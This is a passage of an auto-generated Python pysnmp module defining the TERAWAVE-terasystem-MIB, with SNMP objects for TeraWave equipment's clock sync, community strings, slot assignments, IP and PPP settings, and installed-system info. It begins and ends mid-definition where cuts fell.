teraClockSyncActiveNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveNIMIfIndex.setDescription('') teraClockSyncActiveStatus = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("auto", 1), ("manual", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraClockSyncActiveStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveStatus.setDescription('') teraClockSyncPrimaryStatus = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("active", 1), ("idle", 2), ("fail", 3), ("oos", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraClockSyncPrimaryStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryStatus.setDescription('') teraClockSyncSecondaryStatus = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 14), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("active", 1), ("idle", 2), ("fail", 3), ("oos", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraClockSyncSecondaryStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryStatus.setDescription('') teraClockSyncOperStatus = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 15), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("configure", 1), ("switchToPrimary", 2), ("switchToSecondary", 3), ("switchToHoldover", 4), ("switchToFreerun", 5)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncOperStatus.setDescription('') teraCommunityGroupTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 5)) teraPublicCommunity = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 1), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraPublicCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraPublicCommunity.setDescription('') teraSETCommunity = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 2), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSETCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraSETCommunity.setDescription('') teraGETCommunity = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 3), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraGETCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraGETCommunity.setDescription('') teraAdminCommunity = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 4), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraAdminCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraAdminCommunity.setDescription('') teraTestCommunity = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 5), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraTestCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraTestCommunity.setDescription('') teraMasterSlaveTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 6)) teraMasterSlotNumber = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 6, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 7))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraMasterSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlotNumber.setDescription('') teraSlaveSlotNumber = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 6, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 7))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSlaveSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraSlaveSlotNumber.setDescription('') teraSystemIPGroupTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 7)) teraSystemIPAddress = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 1), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemIPAddress.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemIPAddress.setDescription('') teraSystemIPNetMask = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 2), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemIPNetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemIPNetMask.setDescription('') teraSystemIPGateway = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 3), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemIPGateway.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemIPGateway.setDescription('') teraNESlotTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 9), ) if mibBuilder.loadTexts: teraNESlotTable.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotTable.setDescription(' table teraNESlotTable') teraNESlotTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber"), (0, "TERAWAVE-terasystem-MIB", "teraPonIndex"), (0, "TERAWAVE-terasystem-MIB", "teraEventSlot")) if mibBuilder.loadTexts: teraNESlotTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotTableEntry.setDescription(' table entry teraNESlotTableEntry ') teraNESlotUnitType = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(-1, 1000))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNESlotUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotUnitType.setDescription('') teraNESlotUnitAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 9, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("provision", 1), ("none", 2), ("is", 3), ("moos", 4), ("reset", 5), ("trunk", 6)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNESlotUnitAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraNESlotUnitAdminStatus.setDescription('') teraWLinkIPTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 10), ) if mibBuilder.loadTexts: teraWLinkIPTable.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPTable.setDescription(' table teraWLinkIPTable') teraWLinkIPTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber"), (0, "TERAWAVE-terasystem-MIB", "teraPonIndex")) if mibBuilder.loadTexts: teraWLinkIPTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPTableEntry.setDescription(' table entry teraWLinkIPTableEntry ') teraWLinkIPAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 1), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPAddress.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPAddress.setDescription('') teraWLinkIPNetMask = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 2), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPNetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPNetMask.setDescription('') teraWLinkIPGateway = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 3), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPGateway.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPGateway.setDescription('') teraWLinkIPStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 10, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("set", 1), ("delete", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPStatus.setDescription('') teraNEMiscTableGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 11)) teraNEMiscTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1)) teraNELevel2Slot = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 4))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNELevel2Slot.setStatus('mandatory') if mibBuilder.loadTexts: teraNELevel2Slot.setDescription('') teraNEZipSystem = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("no", 1), ("zip-active", 2), ("zip-stby", 3), ("zip-all", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNEZipSystem.setStatus('mandatory') if mibBuilder.loadTexts: teraNEZipSystem.setDescription('') teraNEReset = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("no", 1), ("reset", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNEReset.setStatus('mandatory') if mibBuilder.loadTexts: teraNEReset.setDescription('') teraNETimeZone = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 4), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNETimeZone.setStatus('mandatory') if mibBuilder.loadTexts: teraNETimeZone.setDescription('') teraNEInventoryOverride = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("disable", 1), ("enable", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNEInventoryOverride.setStatus('mandatory') if mibBuilder.loadTexts: teraNEInventoryOverride.setDescription('') teraNESerialPortType = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 11, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ppp", 1), ("dbshell", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNESerialPortType.setStatus('mandatory') if mibBuilder.loadTexts: teraNESerialPortType.setDescription('') teraSysObjectIdTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 12)) teraTW300 = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 1), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW300.setStatus('mandatory') if mibBuilder.loadTexts: teraTW300.setDescription('') teraTW600 = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 2), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW600.setStatus('mandatory') if mibBuilder.loadTexts: teraTW600.setDescription('') teraTW1600 = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 3), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW1600.setStatus('mandatory') if mibBuilder.loadTexts: teraTW1600.setDescription('') teraTW100 = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 4), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW100.setStatus('mandatory') if mibBuilder.loadTexts: teraTW100.setDescription('') teraTW150RTATM = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 5), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW150RTATM.setStatus('mandatory') if mibBuilder.loadTexts: teraTW150RTATM.setDescription('') teraTW150RTTDM = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 6), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraTW150RTTDM.setStatus('mandatory') if mibBuilder.loadTexts: teraTW150RTTDM.setDescription('') teraOAT = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 12, 7), ObjectIdentifier()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraOAT.setStatus('mandatory') if mibBuilder.loadTexts: teraOAT.setDescription('') teraNEIDxTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 13), ) if mibBuilder.loadTexts: teraNEIDxTable.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxTable.setDescription(' table teraNEIDxTable') teraNEIDxTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "ifIndex")) if mibBuilder.loadTexts: teraNEIDxTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxTableEntry.setDescription(' table entry teraNEIDxTableEntry ') teraNEIDxSlotLevel1 = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNEIDxSlotLevel1.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxSlotLevel1.setDescription('') teraNEIDxPonID = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 13, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 256))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNEIDxPonID.setStatus('mandatory') if mibBuilder.loadTexts: teraNEIDxPonID.setDescription('') teraWLinkIPRangeTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 14), ) if mibBuilder.loadTexts: teraWLinkIPRangeTable.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeTable.setDescription(' table teraWLinkIPRangeTable') teraWLinkIPRangeTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "ifIndex")) if mibBuilder.loadTexts: teraWLinkIPRangeTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeTableEntry.setDescription(' table entry teraWLinkIPRangeTableEntry ') teraWLinkIPRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 1), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPRangeStart.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeStart.setDescription('') teraWLinkIPRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 2), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPRangeEnd.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeEnd.setDescription('') teraWLinkIPRangeRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 14, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ok", 1), ("delete", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraWLinkIPRangeRowStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraWLinkIPRangeRowStatus.setDescription('') teraSecondaryMasterSlaveTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 16)) teraSecondaryMasterSlotNumber = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 16, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 7))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSecondaryMasterSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraSecondaryMasterSlotNumber.setDescription('') teraSecondarySlaveSlotNumber = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 16, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 7))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSecondarySlaveSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraSecondarySlaveSlotNumber.setDescription('') teraMasterSlaveStateTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 17), ) if mibBuilder.loadTexts: teraMasterSlaveStateTable.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateTable.setDescription(' table teraMasterSlaveStateTable') teraMasterSlaveStateTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraMasterSlaveStateIndex")) if mibBuilder.loadTexts: teraMasterSlaveStateTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateTableEntry.setDescription(' table entry teraMasterSlaveStateTableEntry ') teraMasterSlaveStateIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 2))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraMasterSlaveStateIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlaveStateIndex.setDescription('') teraMasterState = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("unknown", 0), ("nobody", 1), ("master", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraMasterState.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterState.setDescription('') teraSlaveState = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 17, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 3, 4, 5))).clone(namedValues=NamedValues(("unknown", 0), ("nobody", 1), ("slave", 3), ("slaveActive", 4), ("slaveFail", 5)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSlaveState.setStatus('mandatory') if mibBuilder.loadTexts: teraSlaveState.setDescription('') teraPPPBaudRateTbl = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 20)) teraPPPBaudRateTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1)) teraPPPAdminBaudRate = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=NamedValues(("baud2400", 0), ("baud4800", 1), ("baud9600", 2), ("baud19200", 3), ("baud38400", 4), ("baud57600", 5), ("baud115200", 6), ("baud230400", 7)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraPPPAdminBaudRate.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPAdminBaudRate.setDescription('') teraPPPOperBaudRate = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=NamedValues(("baud2400", 0), ("baud4800", 1), ("baud9600", 2), ("baud19200", 3), ("baud38400", 4), ("baud57600", 5), ("baud115200", 6), ("baud230400", 7)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraPPPOperBaudRate.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPOperBaudRate.setDescription('') teraPPPAdminFlowControl = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("none", 0), ("xon-Xoff", 1), ("rTS-CTS", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraPPPAdminFlowControl.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPAdminFlowControl.setDescription('') teraPPPOperFlowControl = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 20, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("none", 0), ("xon-Xoff", 1), ("rTS-CTS", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraPPPOperFlowControl.setStatus('mandatory') if mibBuilder.loadTexts: teraPPPOperFlowControl.setDescription('') teraSystemNATGroupTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 24)) teraSystemNATSubnetAddress = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 24, 1), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNATSubnetAddress.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNATSubnetAddress.setDescription('') teraSystemNATSubnetMask = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 24, 2), IpAddress()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNATSubnetMask.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNATSubnetMask.setDescription('') teraSystemPCUNumTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 25)) teraSystemNumOfPCU = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 25, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1))).clone(namedValues=NamedValues(("pCU4", 0), ("pCU5", 1)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNumOfPCU.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNumOfPCU.setDescription('') teraInstalledSystemInfoTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 26), ) if mibBuilder.loadTexts: teraInstalledSystemInfoTable.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemInfoTable.setDescription(' table teraInstalledSystemInfoTable') teraInstalledSystemInfoTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber"), (0, "TERAWAVE-terasystem-MIB", "teraPonIndex")) if mibBuilder.loadTexts: teraInstalledSystemInfoTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemInfoTableEntry.setDescription(' table entry teraInstalledSystemInfoTableEntry ') teraInstalledSystemName = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 1), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraInstalledSystemName.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemName.setDescription('') teraInstalledSystemLocation = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 2), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraInstalledSystemLocation.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledSystemLocation.setDescription('') teraInstalledNEType = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 26, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 7))).clone(namedValues=NamedValues(("unknown", 0), ("tw300", 1), ("tw600", 2), ("tw1600", 3), ("tw100", 4), ("tw150RT", 5), ("oat", 7)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraInstalledNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstalledNEType.setDescription('') teraCraftInterfaceGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 28)) teraCraftInterfaceTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1)) teraCraftPortStat = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enable", 1), ("disable", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraCraftPortStat.setStatus('mandatory') if mibBuilder.loadTexts: teraCraftPortStat.setDescription('') teraCraftDefaultAddrStat = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enable", 1), ("disable", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraCraftDefaultAddrStat.setStatus('mandatory') if mibBuilder.loadTexts: teraCraftDefaultAddrStat.setDescription('') teraSNMPState = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 28, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ready", 1), ("notReady", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSNMPState.setStatus('mandatory') if mibBuilder.loadTexts: teraSNMPState.setDescription('') mibBuilder.exportSymbols("TERAWAVE-terasystem-MIB", teraClockSyncActiveNIMSlot=teraClockSyncActiveNIMSlot, teraCommunityGroupTable=teraCommunityGroupTable, teraLogMsgNumber=teraLogMsgNumber, teraSystemInstallTableEntry=teraSystemInstallTableEntry, teraNEModel=teraNEModel, teraLogNumberOfParams=teraLogNumberOfParams, teraNEInventoryOverride=teraNEInventoryOverride, teraWLinkIPGateway=teraWLinkIPGateway, teraNERangingCode=teraNERangingCode, teraLogNumber=teraLogNumber, teraClockSyncRevertive=teraClockSyncRevertive, teraNEType=teraNEType, teraWLinkIPRangeEnd=teraWLinkIPRangeEnd, teraLogFilterBySize=teraLogFilterBySize, teraSystemNECurrentDistance=teraSystemNECurrentDistance, teraNESlotUnitType=teraNESlotUnitType, teraNESerialPortType=teraNESerialPortType, teraSystemNEProvisionAdminStatus=teraSystemNEProvisionAdminStatus, teraClockSyncTable=teraClockSyncTable, teraAllLogsFilterGroupEntry=teraAllLogsFilterGroupEntry, teraInstallUnitAdminStatus=teraInstallUnitAdminStatus, teraInstallEquippedUnitType=teraInstallEquippedUnitType, teraNEInfoTableGroup=teraNEInfoTableGroup, teraLogTable=teraLogTable, teraLogGroup=teraLogGroup, teraNESlotTable=teraNESlotTable, teraPublicCommunity=teraPublicCommunity, teraNEZipSystem=teraNEZipSystem, teraPPPAdminBaudRate=teraPPPAdminBaudRate, teraNEIDxSlotLevel1=teraNEIDxSlotLevel1, teraMasterSlaveTable=teraMasterSlaveTable, teraPPPAdminFlowControl=teraPPPAdminFlowControl, teraSystemNEMaxLatency=teraSystemNEMaxLatency, teraCraftPortStat=teraCraftPortStat, teraInstallUnitOperStatus=teraInstallUnitOperStatus, teraSecondarySlaveSlotNumber=teraSecondarySlaveSlotNumber, teraPPPBaudRateTbl=teraPPPBaudRateTbl, teraNESWVersion=teraNESWVersion, teraPPPBaudRateTable=teraPPPBaudRateTable, teraLogMsgIndex=teraLogMsgIndex, teraClockSyncSecondaryStatus=teraClockSyncSecondaryStatus, teraWLinkIPRangeRowStatus=teraWLinkIPRangeRowStatus, teraNEIDxTable=teraNEIDxTable, teraWLinkIPNetMask=teraWLinkIPNetMask, teraSystemNERangingCode=teraSystemNERangingCode, teraTestCommunity=teraTestCommunity, teraSystemNATGroupTable=teraSystemNATGroupTable, teraSystemPCUNumTable=teraSystemPCUNumTable, teraCraftInterfaceGroup=teraCraftInterfaceGroup, teraSystemNumOfPCU=teraSystemNumOfPCU, teraSystemNEOperStatus=teraSystemNEOperStatus, teraSystemIPNetMask=teraSystemIPNetMask, teraInstallUnitRevision=teraInstallUnitRevision, teraMasterSlotNumber=teraMasterSlotNumber, teraClockSyncPrimarySource=teraClockSyncPrimarySource, teraCraftDefaultAddrStat=teraCraftDefaultAddrStat, teraInstalledSystemInfoTableEntry=teraInstalledSystemInfoTableEntry, teraInstallUnitName=teraInstallUnitName, teraSystemNEType=teraSystemNEType, teraInstallUnitType=teraInstallUnitType, teraLogStatus=teraLogStatus, teraOAT=teraOAT, teraMasterSlaveStateTableEntry=teraMasterSlaveStateTableEntry, teraWLinkIPTableEntry=teraWLinkIPTableEntry, teraSystem=teraSystem, teraLogFilterByNumber=teraLogFilterByNumber, teraTW1600=teraTW1600, teraClockSyncPrimaryNIMSlot=teraClockSyncPrimaryNIMSlot, teraClockSyncActiveStatus=teraClockSyncActiveStatus, teraSystemNEInventoryOverride=teraSystemNEInventoryOverride, teraAllLogsFilterGroup=teraAllLogsFilterGroup, teraLogParams=teraLogParams, teraWLinkIPTable=teraWLinkIPTable, teraWLinkIPRangeTableEntry=teraWLinkIPRangeTableEntry, teraSystemNEEocMaxBandWidth=teraSystemNEEocMaxBandWidth, terawave=terawave, teraSystemIPGroupTable=teraSystemIPGroupTable, teraLogNumberTableEntry=teraLogNumberTableEntry, teraLogFilterBySeverity=teraLogFilterBySeverity, teraWLinkIPAddress=teraWLinkIPAddress, teraSystemNERanging=teraSystemNERanging, teraInstallUnitSerial=teraInstallUnitSerial, teraInstalledNEType=teraInstalledNEType, teraInstallUnitSWVersion=teraInstallUnitSWVersion, teraInstalledSystemInfoTable=teraInstalledSystemInfoTable, teraSlotInstallTable=teraSlotInstallTable, teraSystemNEAponMaxLength=teraSystemNEAponMaxLength, teraClockSyncSecondaryNIMIfIndex=teraClockSyncSecondaryNIMIfIndex, teraSystemCurrTime=teraSystemCurrTime, teraClockSyncActiveSource=teraClockSyncActiveSource, teraClockSyncOperStatus=teraClockSyncOperStatus, teraNELevel2Slot=teraNELevel2Slot, teraMasterSlaveStateTable=teraMasterSlaveStateTable, teraAdminCommunity=teraAdminCommunity, teraWLinkIPRangeTable=teraWLinkIPRangeTable, 